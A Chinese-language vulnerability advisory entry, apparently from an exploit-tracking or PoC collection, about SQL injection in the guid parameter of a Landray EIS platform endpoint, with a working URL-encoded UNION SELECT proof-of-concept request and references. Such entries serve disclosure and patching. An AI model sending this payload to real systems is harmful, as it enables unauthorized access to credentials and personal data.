Description
蓝凌EIS智慧协同平台是深圳市蓝凌软件股份有限公司推出的一款企业级智慧协同办公平台，集成了流程管理、知识管理、协同办公等多种功能，广泛应用于政府、金融、制造等多个行业。该平台 /third/DingTalk/Pages/DingTalkMessage.aspx 接口的 guid 参数存在SQL注入漏洞，攻击者可通过构造恶意的UNION查询语句，获取数据库中的敏感信息（如管理员密码、用户个人信息），甚至在高权限情况下进一步获取服务器权限。
蓝凌-EIS智慧协同平台 /third/DingTalk/Pages/DingTalkMessage.aspx SQL 注入漏洞
PoC
GET /third/DingTalk/Pages/DingTalkMessage.aspx?redirectUrl=12&guid=550e8400-e29b-41d4-a716-446655440000%27%20UNION%20ALL%20SELECT%20CHAR%28113%29%2BCHAR%28106%29%2BCHAR%28106%29%2BCHAR%28107%29%2BCHAR%28113%29%2BISNULL%28CAST%28229944-8166%20AS%20VARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28106%29%2BCHAR%28113%29%2BCHAR%28113%29--%20Zald HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://blog.csdn.net/WuYSec/article/details/139592616
https://github.com/Sec-Fork/POC-20250106/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEIS%E6%99%BA%E6%85%A7%E5%8D%8F%E5%90%8C%E5%B9%B3%E5%8F%B0UniformEntry.aspx%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(XVE-2024-19181).md
https://cn-sec.com/archives/3899405.html
https://starmap.dbappsecurity.com.cn/info/6250